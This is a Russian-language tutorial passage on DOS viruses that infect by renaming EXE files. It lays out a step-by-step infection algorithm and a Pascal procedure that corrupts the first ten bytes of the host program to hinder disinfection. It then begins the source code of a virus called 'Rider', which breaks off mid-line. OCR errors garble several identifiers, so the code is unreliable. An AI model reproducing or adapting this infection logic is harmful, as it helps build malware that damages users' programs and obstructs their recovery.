Истории о вирусах

Инфицирование методом переименования ЕХЕ-файла


Отличий в алгоритмах работы этих вирусов и их "коллег", создающих

файл-спутник, не так уж много. Но, по всей видимости, заражение ме-

тодом переименования несколько совершеннее - для излечения от ви-

руса нужно не просто удалить СОМ-файл с кодом вируса, а немного

помучаться и разыскать, во что же переименован ЕХЕ-файл с инфици-

рованной программой.

1. Если в командной строке указаны параметры, сохранить их в пере-

менную типа String для передачи инфицированной программе.

2. Найти ЕХЕ-файл-жертву.

3. Проверить, не присутствует ли в каталоге с найденным ЕХЕ-фай-

лом-жертвой файл с таким же именем и с расширением, которое

выбрано для инфицированной программы (например, OVL - про-



граммный оверлей).

4. Если такой файл присутствует, программа уже инфицирована - пе-

реходим к пункту 7.

5. Переименовать найденный файл-жертву (ЕХЕ) в файл с таким же име-

нем, но с расширением, выбранным для инфицированной программы.

6. С помощью командного процессора скопировать файл, из которого по-

лучено управление, в файл с именем жертвы и расширением жертвы.

7. Найти в каталоге, из которого получено управление, файл с именем

стартовой программы, но с расширением, выбранным для инфици-

рованной - это и будет зараженная программа, которую в данный

момент необходимо запустить на исполнение.

8. Если такой файл не найден, переходим к пункту 12.

9. Изменить расширение найденного файла на СОМ (ни в коем случае не

на ЕХЕ, ведь в ЕХЕ-файле с таким именем находится вирусный код!).

10. Процедурой Ехес загрузить и выполнить переименованный файл -

то есть выполнить инфицированную программу.

11. Вернуть СОМ-файлу с инфицированной программой выбранное

расширение, то есть превратить его опять в неисполняемый.

12. Вернуть управление в DOS.

Несколько слов о вирусе, листинг которого приведен ниже. Вирус Rider

написан очень просто и доступно. За сеанс работы он заражает один

ЕХЕ-файл в текущем каталоге. Сам процесс заражения также весьма

прост: файл-жертва переписывается в файл с расширением OVL (овер-



лейный файл), а на его место с помощью командного процессора копи-

руется вирусный код. При запуске происходит заражение только что

найденного ЕХЕ-файла, затем вирусный код переименовывается

в OWL, a OVL - в ЕХЕ, после чего оригинал запускается на исполне-

ние. Когда оригинал отработал, происходит переименование в обратном

порядке. С защищенного от записи диска программа не запустится, она

выдаст сообщение, что диск защищен от записи.

В представленном здесь виде вирус легко обезвредить, достаточно про-

сто переименовать OVL-файл обратно в ЕХЕ. Но, чтобы усложнить ле-

чение, в вирусе может быть использован такой прием:

procedure MakeNot;

Var

Buf10: Array [1.10] of Byte;

Cicle: Byte;

begin

Seek(Prog, 0);

Reset(Prog);

BlockRead(Prog, Buf10, 10);

For Cicle:=1 To 10 Do Buf10[Cicle]:=Not Buf10[Cicle];

Seek(Prog, 0);

BlockWrite(Prog, Buf10, 10);

Close(Prog);

end;

При использовании этой процедуры надо учитывать, что заражаемая

и запускаемая на исполнение программа должна быть связана с пере-

менной Prog типа File, описанной в основном модуле. Суть процедуры

состоит в том, что из заражаемой программы считываются 10 байт и ко-

дируются операцией Not. ЕХЕ-программа становится неработоспособ-

ной. Запускать эту процедуру нужно не только перед прогоном ориги-

нала, но и после него.

{ Name Rider }

{ Version 1.0 }

{ Stealth No }

{ Tsr No }

{ Danger 0 }

{ Attac speed Slow }

{ Effects No }

{ Length 4000 }

{ Language Pascal }

{ BodyStatus Packed }

{ Packer Pklite }

($M 2048, 0, 0} { Stack 1024b, Low Heap Limit Ob,

High Heap Limit Ob }

{Используются модули DOS и System (модуль System автоматически

подключается к каждой программе при компиляции)}

Uses DOS;

Const

Fail='Cannot execute '^13#10'Disk is write-protected';

{Расширения файлов, которые будем использовать}

Ovr='.OWL';

Ovl='.OVL';

Ехе=.ЕХЕ';

Var

Dirlnfo : SearchRec;

Sr : SearchRec;

Ch : Char;

I : Byte;

OurName : PathStr;

OurProg : PathStr;

Ren : File;

CmdLine : ComStr;

Victim : PathStr;

VictimName : PathStr;

(Процедура для проверки диска на Read Only)

procedure CheckRO;

begin

Assign(Ren, #$FF);

ReWrite(Ren);

Erase(Ren);

If lOResult


Содержание раздела